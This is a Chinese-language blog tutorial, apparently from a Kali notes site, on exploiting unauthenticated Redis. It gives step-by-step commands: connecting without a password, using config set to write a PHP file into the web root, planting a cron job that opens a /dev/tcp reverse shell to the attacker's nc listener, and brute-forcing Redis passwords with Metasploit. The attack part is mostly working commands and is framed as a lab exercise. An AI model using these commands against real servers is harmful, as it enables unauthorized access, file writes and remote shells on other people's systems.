Redis是跨平台的非关系型数据库。可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。它支持字符串、哈希表、列表、集合、有序集合,位图,hyperloglogs等数据类型。

Redis

漏洞原理

Redis默认6379端口并且为密码或弱密码的情况下,处于公网的redis服务就会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作。从而获得系统权限。

实验环境

  • Centos7(公网、受害端)
  • Kali Linux(攻击端)

    安装Redis

    我们首先在Centos中安装Redis。分别执行下面命令

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载
    tar xzf redis-2.8.17.tar.gz #解压
    cd redis-2.8.17
    make #编译
    cd src
    cp redis-server /usr/bin
    cp redis-cli /usr/bin
    cd ..
    cp redis.conf /etc/
    redis-server /etc/redis.conf

    编译安装
    启动
    需要注意的是,我们要在防火墙和安全组中开启6379端口

    未授权测试

    我们在kali中直接执行下面命令

    redis-cli -h 8.219.xxx.xxx

    连接成功
    如果是高版本的redis需要修改配置文件。将bind前面#注释符去掉,将protected-mode 后面改为no

    利用redis写webshell

    在利用redis写webshell时,我们需要知道web站点的路径。不然即使生成webshell你也连不上。假设我们的站点目录时/var/www/html执行下面命令即可。

    config set dir /var/www/html #设置目录
    config set dbfilename kali.php #生成文件
    set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" #给文件中写入内容
    save#保存


    完成后,我们访问文件

    反弹Shell

    我们在kali中利用nc进行监听端口。

    nc -lvp 5555


    接下来我们用redis创建定时任务文件。通过定时任务来上线nc

    config set dir /var/spool/cron/crontabs
    config set dbfilename root
    set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n"
    save

    到时间后,会自动执行命令从而上线。

    redis密码破解

    一般情况下,都会设置默认密码。我们在配置文件redis.conf修改。

    配置msf

    msfconsole
    use auxiliary/scanner/redis/redis_login
    set RHOSTS 8.219.xxx.xxx
    set PASS_FILE /root/22.txt #设置密码字典
    run

    配置如上

破解成功
在msf中还有很多对redis的利用模块。我们可以利用下面命令查看

search redis


简单配置后,便可以直接使用。

Kali笔记一键关注
Last modification:December 20, 2023
正在沿街乞讨中……